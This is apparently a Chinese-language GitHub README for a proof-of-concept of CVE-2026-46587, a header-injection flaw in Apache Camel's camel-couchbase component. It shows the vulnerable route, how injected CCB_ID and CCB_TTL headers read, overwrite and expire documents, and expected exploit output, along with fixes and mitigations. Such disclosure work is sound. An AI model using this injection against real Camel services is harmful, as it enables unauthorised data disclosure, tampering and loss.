oscerd/CVE-2026-46587
GitHub: oscerd/CVE-2026-46587
Apache Camel camel-couchbase 组件 CCB_* header 注入漏洞(CVE-2026-46587)的概念验证复现项目,演示信息泄露、数据篡改和 TTL 强制数据销毁三种攻击场景。
Stars: 0 | Forks: 0
# camel-couchbase `CCB_*` Header Injection 复现程序 (CVE-2026-46587)
本项目演示了 Apache Camel 的 `camel-couchbase` 组件中的一个 **message-header injection**(消息头注入)漏洞,编号为
**CVE-2026-46587**。该组件会读取多个 Exchange header 来控制其行为——`CCB_KEY`
(文档键)、`CCB_ID`(文档 ID)、`CCB_TTL`(文档过期时间)、`CCB_DDN`(设计文档名称)以及
`CCB_VN`(视图名称)。这些 header 常量的字符串值(定义在 `CouchbaseConstants` 中)是纯粹的
无前缀名称,而不是其他所有组件使用的 Camel 前缀名称(例如 `CamelSqlQuery`)。Camel 的入站
`HttpHeaderFilterStrategy` 仅阻止以 `Camel` / `camel` 开头的 header 名称,因此这些名称
会原封不动地通过入站过滤器。当路由在 couchbase producer 前暴露一个 HTTP 入口点(例如 platform-http)时,
不受信任的 HTTP 客户端可以直接设置这些 header,并**覆盖路由作者配置的
文档 ID、TTL、设计文档名称或视图名称**。
此 PoC 演示了由这一个缺陷导致的三种不同影响:
1. **信息泄露** — 注入的 `CCB_ID` 读取了超出调用者权限范围的文档。
2. **篡改数据** — 在写入操作中注入的 `CCB_ID` 会覆盖受保护的文档。
3. **数据销毁** — 注入的 `CCB_TTL=1` 会迫使调用者自身的文档静默自毁。
安全公告:
## 漏洞概要
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-couchbase` |
| **受影响类** | `org.apache.camel.component.couchbase.CouchbaseProducer` 读取 `CouchbaseConstants.HEADER_ID` (`"CCB_ID"`)、`HEADER_TTL` (`"CCB_TTL"`) 等。 |
| **CWE** | CWE-20: Improper Input Validation |
| **影响** | HTTP 客户端设置 `CCB_*` header → 覆盖文档 ID / TTL / 设计文档 / 视图 → 信息泄露、篡改、数据丢失 |
| **前置条件** | 路由在 HTTP consumer(例如 platform-http)之后暴露了 couchbase producer;如果 consumer 不需要认证,则无需认证即可利用 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **已修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **修复** | PR [apache/camel#23228](https://github.com/apache/camel/pull/23228) (main 分支),通过 #23230 (4.18.x) / #23231 (4.14.x) 向后移植 |
| **致谢** | Yu Bao (PayPal) |
## 技术细节
```
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
```
修复方案(4.14.8 / 4.18.3 / 4.21.0)将 header 的**值**重命名为符合 Camel 规范的名称 —— `CCB_ID` →
`CamelCouchbaseId`、`CCB_TTL` → `CamelCouchbaseTtl`、`CCB_KEY` → `CamelCouchbaseKey`、`CCB_DDN` →
`CamelCouchbaseDesignDocumentName`、`CCB_VN` → `CamelCouchbaseViewName` —— 这样它们就会被入站
`HttpHeaderFilterStrategy` 拦截,就像其他所有 Camel 控制 header 一样。Java 常量的字段名称保持不变。
## 受害者路由
```
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
```
该路由将文档 ID 默认设置为调用者自身的草稿,并且如文档所述的强化安全措施一样,在边缘节点剥离了 Camel
控制 header 命名空间。**这无济于事**:用于覆盖的 header 名为 `CCB_ID` / `CCB_TTL`,
而不是 `CamelCouchbaseId` / `CamelCouchbaseTtl`,因此它们既不会被 `removeHeaders("Camel*")` 剥离,也不会被
内置的 HTTP header 过滤器拦截 —— 从而被 producer 执行。
数据库中预置了两个文档:`user-draft`(调用者自身的文档)和 `system-config`(endpoint 绝不能暴露的
敏感文档)。
## 仓库结构
**受害者**是 Camel 路由及其 Couchbase 数据库;**攻击者**是一个仅设置请求
header 的、未经身份验证的 HTTP 客户端。一个微小的 SDK **测试工具(harness)** 用于植入和读取文档以进行验证,
完全独立于存在漏洞的路由。
```
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose(用于运行 Couchbase Server + 应用)
- Java 17+ 和 Maven 3.8+(用于构建 jar 包)
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# 等待 app log 行 "Started Application",然后:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
```
### 预期输出
```
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later:
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
```
## 攻击向量
任何包含可从 HTTP consumer 访问的 couchbase producer 的路由。可注入的 header 包括:`CCB_ID` / `CCB_KEY`
(文档 ID/键 → 读取、覆盖或删除任意文档)、`CCB_TTL`(强制过期 → 数据丢失),以及在
consumer 端的 `CCB_DDN` / `CCB_VN`(设计文档和视图名称)。
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0**(参见安全公告 PR #23228)。修复后,覆盖 header 带有 Camel
前缀(`CamelCouchbaseId`、`CamelCouchbaseTtl` ……),并会在 HTTP 边界像其他所有
控制 header 一样被过滤。
## 缓解措施
在升级之前,请在不受信任的入站消息到达 producer 之前,剥离受影响的 header,例如在 couchbase endpoint 前使用
`.removeHeader("CCB_KEY")`、`.removeHeader("CCB_ID")`、`.removeHeader("CCB_TTL")`、`.removeHeader("CCB_DDN")` 以及
`.removeHeader("CCB_VN")`,或者应用一个阻止这些名称的自定义 `HeaderFilterStrategy`。
## 免责声明
此复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**
的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, CISA项目, Couchbase, HTTP头注入, JS文件枚举, PoC, 域名枚举, 暴力破解, 漏洞复现, 版权保护, 请求拦截